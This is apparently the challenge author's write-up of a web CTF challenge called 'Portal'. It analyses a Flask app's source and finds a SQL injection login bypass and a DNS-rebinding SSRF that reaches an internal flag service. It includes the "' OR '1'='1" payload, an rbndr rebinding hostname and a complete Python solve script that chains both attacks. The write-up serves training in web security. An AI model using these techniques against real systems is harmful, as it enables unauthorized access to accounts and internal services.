Portal

My company vibecoded a portal for viewing websites, wonder what can go wrong

Overview

This challenge was created with the AYCEP training materials in mind and I will be going through the challenge with reference to different section of the training materials.

Initial Analysis

We can first start with analyzing docker-compose.yml, which gives us a high-level overview of the challenge's network.

services:
  mysql:
    image: mariadb:10.11
    env_file: .env
    healthcheck:
      test: ["CMD-SHELL", "mariadb -u$${MYSQL_USER} -p$${MYSQL_PASSWORD} -e 'SELECT 1' || exit 1"]
      interval: 30s
      timeout: 5s
      retries: 10
      start_period: 30s
    networks:
      - backend

  app:
    build: .
    env_file: .env
    ports:
      - "3000:3000"
    dns:
      - 8.8.8.8
    depends_on:
      mysql:
        condition: service_healthy
    networks:
      - backend

networks:
  backend:
    driver: bridge

From this, we can notice two services, a front-facing app container and a mysql database. Notably, the mysql service does not expose any ports externally and is only reachable from the internal docker network. We can take a further look at Dockerfile to gain more insight into how the application is intialized.

FROM python:3.11-slim

WORKDIR /app

RUN apt-get update && apt-get install -y supervisor && rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY public/ ./public/
COPY internal/ ./internal/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf

RUN chmod 444 /app/internal/flag.txt

CMD ["sh", "-c", "cd /app/public && python init.py && /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf"]

The final command is particularly interesting: instead of launching a single application, the container starts supervisord, suggesting that multiple processes are managed within the same container.

Looking into supervisord.conf confirms this suspicion. Two separate programs, public and internal are defined and automatically started when the container comes up.

[supervisord]
nodaemon=true
logfile=/var/log/supervisor/supervisord.log
pidfile=/var/run/supervisord.pid

[program:public]
command=python -u /app/public/app.py
directory=/app/public
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

[program:internal]
command=python /app/internal/app.py
directory=/app/internal
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

With that, we have identified the three main components of this challenge and can proceed to analyze the source-code.

Source Code Analysis

Like every CTF challenge ever, we want to find where the flag is before analyzing any source-code to give a goal to head towards to. With a quick browse, we see that its located in /internal/flag.txt and that /internal/app.py displays it.

Directory Structure

Taking a closer look at /internal/app.py, we note that the internal app has a /flag endpoint that displays our flag and the app is running locally on port 5000.

from flask import Flask, jsonify
import os
app = Flask(__name__)


@app.route('/', methods=['GET'])
def home():
    return "Welcome to the Future! (Under Construction)"


@app.route('/flag', methods=["GET"])
def flag():
    flag_path = os.path.join(os.path.dirname(__file__), 'flag.txt')
    try:
        with open(flag_path, 'r') as f:
            flag_content = f.read().strip()
        return jsonify({"flag": flag_content})
    except Exception as e:
        return jsonify({"error": "Flag not found"}), 500


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Knowing that only public is reachable by us, we focus our attention on /public/*.

/public/app.py

from flask import render_template, Flask, request, redirect, url_for, jsonify, session
from db import init_db, verify_user, add_user
from utils import validate_host, fetch_url
from functools import wraps
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
init_db(app)


def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session:
            return jsonify({'error': 'Unauthorized'}), 401
        return f(*args, **kwargs)
    return decorated_function

@app.route('/', methods=['GET'])
def home():
    return render_template('home.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        user = verify_user(username, password)
        if user:
            session['username'] = user.username
            session['role'] = user.role
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error='Invalid credentials')
    return render_template('login.html')


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        try:
            add_user(username, password)
            return redirect(url_for('login'))
        except Exception:
            return render_template('register.html', error='Username already exists')
    return render_template('register.html')


@app.route('/logout', methods=['POST'])
def logout():
    session.clear()
    return redirect(url_for('home'))


@app.route('/dashboard', methods=['GET', 'POST'])
@login_required
def dashboard():
    content = None
    if request.method == 'POST' and session.get('role') == 'admin':
        url = request.form.get('target_url', '')

        is_valid, result = validate_host(url)
        if not is_valid:
            content = result
        else:
            try:
                response = fetch_url(result)
                content = response.text
            except Exception:
                content = "Failed to fetch URL"

    return render_template('dashboard.html', username=session.get('username'), role=session.get('role'), content=content)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000)

/public/db.py

/public/init.py

/public/utils.py

We start by identifying sources and sinks. Starting with /public/app.py, we identify the following sources.

• /login

  • request.form['username']

  • request.form['password']

• /register

  • request.form['username']

  • request.form['password']

• /dashboard

  • request.form.get('target_url', '')

    • Requires session.get('role') == 'admin'

Now that we have identified all the sources, it's time to identify whether these sources go through any form of transformation/validation.

For /login and /register, it passes user-supplied input to database helper functions, verify_user and add_user respectively located in db.py

Reviewing the said functions, we observe a difference in how user-input is handled. The add_user function uses SQLAlchemy’s ORM to create a User object and insert it into the database.

user = User(username=username, password=password, role=role)

SQLAlchemy's ORM automatically parameterizes queries which is one of the fixes covered that mitigates SQLi.

However, verify_user takes a different approach.

query = f"SELECT username, role FROM users WHERE username = '{username}' AND password = '{password}'"

Here, user-controlled input is directly concatenated into a SQL query using string formatting. This makes it vulnerable to SQLi!

This gives us a vulnerable sink from /login to verify_user.

Let's continue exploring /dashboard app route for now.

<snip>
if request.method == 'POST' and session.get('role') == 'admin':
    url = request.form.get('target_url', '')

    is_valid, result = validate_host(url)
    if not is_valid:
        content = result
    else:
        try:
            response = fetch_url(result)
            content = response.text
        except Exception:
            content = "Failed to fetch URL"

return render_template('dashboard.html', username=session.get('username'), role=session.get('role'), content=content)

Ignoring the admin role check for the time being, we see that it first validates our target_url with validate_host before passing it to fetch_url before displaying the response.

Taking a look at /public/utils.py, we can see the implementation of validate_host and fetch_url in-depth.

import socket
import ipaddress
import requests
from urllib3.util import parse_url


def validate_host(url):
    """Check if URL's host resolves to a non-private IP"""
    parsed = parse_url(url)
    host = parsed.hostname

    if not host or parsed.scheme not in ('http', 'https'):
        return False, 'Invalid URL'

    try:
        ip = socket.gethostbyname(host)
    except socket.gaierror:
        return False, 'Could not resolve host'

    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_loopback or ip_obj.is_private or ip_obj.is_reserved or ip_obj.is_link_local:
        return False, 'Host resolves to a private or restricted IP'

    return True, parsed


def fetch_url(url):
    res = requests.get(url,timeout=5, allow_redirects=False)
    return res

From a glance we see that it does the following checks

1. Checks URL scheme to ensure it is http or https

2. Performs a DNS lookup with socket.gethostbyname

3. Enforces a IP blacklist

   1. Loopback - 127.0.0.1

   2. Private IPs - (10.x, 192.168.x.x etc)

   3. Reserved Ranges

   4. Link-Local

4. Returns parsed which is subsequently fetched with requests.get

This seems to prevent SSRF as after all, we are not able to bypass the DNS lookup to localhost right?

This brings us to DNS-Rebinding, a variation of SSRF.

DNS-Rebinding Diagram

Essentially, the main point here is that requests.get performs its own independent DNS Resolution.

An attacker can exploit this gap by serving a public IP to pass the initial DNS lookup socket.gethostbyname(host), then rapidly swapping to an internal IP for the request.

You can read about the vulnerability in detail over here

This gives us our last vulnerable sink from /dashboard to fetch_url.

Now, let's combine the pieces for exploitation.

Exploitation

Based on the Dockerfile earlier, we know that it executes init.py which we now see creates the required tables and adds a admin user into the database.

add_user('admin', secrets.token_hex(16), role='admin')

We can thus craft a SQLi query with the goal of logging in as admin

SELECT username, role FROM users
WHERE username = 'admin' AND password = '' OR '1'='1'

Since the expression '1'='1' always evaluates to TRUE, the WHERE clause becomes TRUE, allowing row to return a valid result.

The username has to be admin as get_user_by_username uses it to retrieve user information later in the function.

This brings us to /dashboard.

Success!

Now that we are admin, we can use the URL scanner functionality which we previously identified is vulnerable to a DNS-Rebinding attack.

We can use the tool rbndr which generates a hostname which switches between two IP addresses randomly.

rbndr

We also have to add the port 5000 and /flag as we want to reach the internal app's flag endpoint.

Eventually, the DNS resolution swapped at the exact moment necessary to bypass the check, allowing us to capture the flag.

Success!

I also automated it with a solve script to make things easier.

"""
1. SQLi auth bypass to get admin access
2. Login as admin to access URL scanner
3. Use DNS rebinding to bypass SSRF protection and access internal service
"""

import requests
import time
import threading

BASE_URL = 'http://localhost:31004'
REBINDER_URL = 'http://08080808.7f000001.rbndr.us:5000/flag'



def ssrf_rebind(max_time=60):
    session = requests.Session()
    resp = session.post(BASE_URL + '/login', data={'username': 'admin', 'password': "' OR '1'='1"})
    if 'dashboard' not in resp.url and 'Dashboard' not in resp.text:
        return None

    result = {'flag': None}
    end = time.time() + max_time
    
    def worker():
        while time.time() < end and not result['flag']:
            try:
                r = session.post(BASE_URL + '/dashboard', data={'target_url': REBINDER_URL}, timeout=10)
                if 'grey{' in r.text.lower():
                    result['flag'] = r.text
                    return
            except Exception:
                pass
            time.sleep(0.05)
    
    threads = [threading.Thread(target=worker) for _ in range(10)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=max_time)
    
    return result['flag']


if __name__ == '__main__':
    flag = ssrf_rebind()
    if flag:
        print(flag)

Reflection

With this being AYCEP Finals, I wanted to provide participants a challenge with a variation of an attack that was not covered during training.

This writeup serves as a more structured process of approaching web ctf challenges. As codebases get larger, having the right approach will save you lots of time especially if augmented with LLMs.

Thanks for reading!